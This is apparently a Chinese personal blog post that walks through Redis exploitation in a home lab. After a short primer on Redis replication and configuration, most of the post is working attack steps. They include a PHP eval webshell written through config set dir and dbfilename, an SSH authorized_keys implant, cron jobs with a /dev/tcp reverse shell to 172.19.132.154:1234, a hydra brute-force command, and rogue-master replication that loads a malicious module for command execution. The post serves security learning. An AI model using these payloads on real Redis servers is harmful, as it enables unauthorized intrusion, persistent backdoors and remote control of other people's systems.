Redis


Redis

Redis 基础

Redis 全称 Remote Dictionary Server,是一个开源的,基于内存的键值对数据库

Redis 的数据是存储在内存中的,读写速度非常快,但是一旦掉电或进程崩溃,非持久化的数据会丢失

主从同步

这是 Redis 4.x​ 和 5.x 版本中一个关键的特性

  • 单层树复制

    在 Redis 中,有主服务器,负责所有的写操作,从服务器,只能进行读操作,从服务器可以作为中继站连接更多的从服务器

  • 持久化

    当从服务器为了同步数据进行全量复制时,会将主服务器发来的数据存储到磁盘,然后再加载进内存

    这里如果主服务器的数据是恶意的,有可能将内存中给的恶意数据写到系统关键位置,或者覆盖原本的重要文件

  • 发布与订阅

    Redis 不仅是一个数据库,还是一个消息队列,主服务器上的数据变动,都会通过一个特殊的频道广播给从服务器,如果从服务器订阅了这个频道,就能实时拿到日志

    如果网络没有加密,可以在内网获取到流量,得到写入数据库的数据

核心配置

Redis 的核心配置文件是 redis.conf

配置项 意义
bind $IP 绑定 IP 地址,允许绑定多个 IP,如果设置为 0.0.0.0 则全网可以访问
port $6379 配置端口号,默认端口是 6379
requirepass $passwd 后面加密码,这个是客户端连接 redis 服务器时使用的密码,默认是空的,没有密码即可连接
dir $path 配置工作目录,redis 产生的备份文件都放在这里
dbfilename $name 指定备份文件的名字,默认是 dump.rdb
protected-mode 默认为开启,开启之后禁止外部连接

Redis 安装

  1. redis-3.2.0

    wget http://download.redis.io/releases/redis-3.2.0.tar.gz
    tar xzf redis-3.2.0.tar.gz
    cd redis-3.2.0
    make   #编译安装
    
    sudo cp redis-cli /usr/bin
    sudo cp redis-server /usr/bin
  2. Redis-4.0.8

    wget http://download.redis.io/releases/redis-4.0.8.tar.gz
    tar xvf redis-4.0.8.tar.gz
    cd redis-4.0.8
    make

192.168.154.130

Redis 漏洞

Redis 未授权访问

漏洞利用条件

  • 服务关闭了 protected-mode
  • 服务不设置密码
  • 服务对公网开放

修改配置中的模式和 ip 绑定,这里注释掉或者修改为 0.0.0.0 都可以

image

image

然后启动 redis

redis-server redis.conf

image

使用另一个访问

redis-cli -h 192.168.154.130

image

Redis 写入 webshell

漏洞利用条件

  • 以高权限启动 Redis 服务
  • Redis 有未授权访问
  • 需要有 web 端服务,并且知道服务的默认路径

先在目标服务器启动一个 web 服务

/etc/init.d/apache2 start

image

然后启动 redis 服务,这里要用 root 用户启动,否则没有写入权限,在保存这一步会失败

image

攻击者连接 redis 服务,将恶意代码写入 web 服务器

// 设置路径
config set dir /var/www/html 
// 设置写入文件名
config set dbfilename cmd.php
// 设置写入恶意代码,因为 redis 写文件时,会加入很多二进制信息,这里的换行符就是为了让 php 能够被解析
// 这里的 xxx 是一个键名,因为 redis 是一个键值对数据库
set xxx "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
// 这里会将内存中的键值对提取出来,安装指定格式写入磁盘文件,也就是 dbfilename 中
save

image

在 web 端就可以实现

image

Redis 密钥登录 ssh

漏洞利用条件

  • Redis 有未授权访问
  • 以高权限启动 Redis 服务
  • 服务器启动了 ssh 服务

启动 ssh 服务

image

在攻击者处创建 ssh-rsa 密钥,这里的全部都不填,一直回车就行

ssh-keygen -t rsa

image

然后将这个公钥导入到一个文件中,这里加入换行符防止乱码

image

将生成的公钥写入到目标服务器的内容中

// -x 表示从标准输入读取数据作为这个命令的最后一个参数,也就是键值对的值
cat key.txt | redis-cli -h 192.168.154.130 -x set xxx

image

成功读取到这个数据

image

然后还是设置路径和文件名

config set dir /root/.ssh
config set dbfilename authorized_keys
save

image

目标服务器也成功写入了

image

在攻击者这边使用 ssh 连接,发现成功了,无需密码登录

ssh -i id_rsa root@192.168.154.130

image

利用定时计划任务反弹 shell

漏洞利用条件

  • Redis 有未授权访问
  • 以高权限启动 Redis 服务
  • 需要目标服务器的 linux 发行版支持

这里不同的 linux 发行版对定时任务的路径、文件名等都不同

操作系统类型 Cron 路径 说明
CentOS / RHEL /var/spool/cron/ 写入的是 root 文件,对文件格式比较宽松
Ubuntu / Debian /var/spool/cron/crontabs/ 这里也是写入 root 文件
通用系统级路径 /etc/crontab 所有的 linux 系统都有这个文件,但是这里的格式有点不同
通用目录级路径 /etc/cron.d/ 这里可以随意命名文件 /etc/cron.d/shell,系统自动加载

这里先看看我的目标机的发行版

cat /etc/os-release

image

我这里都是使用的 Ubuntu,这个发行版好像无法成功执行这个漏洞,因为 Redis 写入的文件默认权限是 644,而现代的 cron 强制要求 600,所以无法执行
而且 RDB 文件写入的二进制会破坏定时任务的解析

sudo tail -f /var/log/syslog | grep cron

image

这里测试了两个地方写计划任务都失败了,可能 centos 成功率高一点

config set dir /etc/cron.d/
config set dbfilename shell
set xxx "\n\n\n* * * * * root /bin/bash -i >& /dev/tcp/172.19.132.154/1234 0>&1\n\n\n"
save

config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n\n* * * * * root /bin/bash -i >& /dev/tcp/172.19.132.154/1234 0>&1\n\n\n"
save

// centos
config set dir /var/spool/cron/
config set dbfilename root
set xxx "\n\n\n* * * * * root /bin/bash -i >& /dev/tcp/172.19.132.154/1234 0>&1\n\n\n"
save

密码爆破

这个如果 Redis 配置了密码,那就没有未授权访问那么方便了,需要进行密码的爆破

判断一个服务有没有密码,连接后执行命令就会返回这个

image

redis-cli 中有两种认证的方式

  1. 使用 AUTH 认证

    image

  2. 连接时直接指定密码

    image

如果不知道密码,就可以爆破,可以使用 hydra 工具,Redis 没有用户名,所以只要指定密码就行

hydra -P passwd.txt redis://192.168.154.130

image

远程主从同步 RCE

漏洞利用条件

  • Redis 公网可以访问
  • Redis 版本高于 4.x

这个利用的就是主从同步这个特性,并且 Redis 在 4.x​ 以后,加入了一个新的 module​ 功能,允许用户加载自己编写的 .so 文件来拓展 Redis 的指令

这里利用了一个工具 Testzero-wz/Awsome-Redis-Rogue-Server: Redis-Rogue-Server Implement

这个工具的原理是这样的,攻击者先连接上这个 Redis 服务,然后通过未授权执行主从复制命令,让目标服务器将攻击者作为主服务器,然后攻击者向目标提供恶意的 exp.so 文件,然后攻击者就可以利用这个执行命令了

这个工具需要编译 c 成一个 so 文件,这里我在编译的时候会失败,问出来是少了两句

#include <string.h>    // 修复 strlen, strcat, memset, strcpy
#include <arpa/inet.h>  // 修复 inet_addr, htons

首先在目标机器打开一个 Redis 服务,然后攻击者执行这个脚本

python redis_rogue_server.py -rhost 192.168.154.130 -lhost 172.19.132.154

这里我没有用高权限打开 Redis 服务,所以只能进入 tmp 目录

image

这里成功加载了 .so​ 文件,这里最后可以选择模式,i​ 就是交互式的 shell,直接在这里执行命令,r 就是反弹 shell

下面是反弹 shell 模式下

image

image

  • 这个工具也可以在目标有密码的时候使用,指定密码就哭呀,会自动发送一个 AUTH 包判断的

    python redis_rogue_server.py -rhost 192.168.154.130 -lhost 172.19.132.154 -passwd admin

本地主从同步 RCE

前面执行的操作都是在公网可以访问这个 Redis 服务的情况下,如果这个服务只能在本地访问呢,我们如果可以通过类似 ssrf 或者其他漏洞进到本地,需要进行反弹 shell,就可以利用这个漏洞

先修改配置,只能本地访问

image

然后启动服务,在本地打开登录 Redis

攻击者在远程主服务器开启脚本,开启端口为 15000 的主服务器

python redis_rogue_server.py -v -path module.so

image

然后在目标服务器中配置,可以看到一开始是没有模块加载的

image

攻击者一直在同步数据

image

配置一下主从同步

// 配置写入路径,tmp 目录一般都可写
config set dir /tmp
// 设置名字
config dbfilename exp.so
// 进行主从同步,将恶意 so 文件写入到 tmp 目录
slaveof 172.19.132.154 15000
// 加载恶意 so 文件
module load ./exp.so

这里已经加载了模块了

这个工具的 so 文件的模块有两种执行的模式

  • RedisRuntime.exec:直接执行命令
  • RedisRuntime.rev:用来反弹 shell

image

image

// 解除主从同步
slaveof NO ONE

image

参考:

Redis漏洞总结 - FreeBuf网络安全行业门户


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录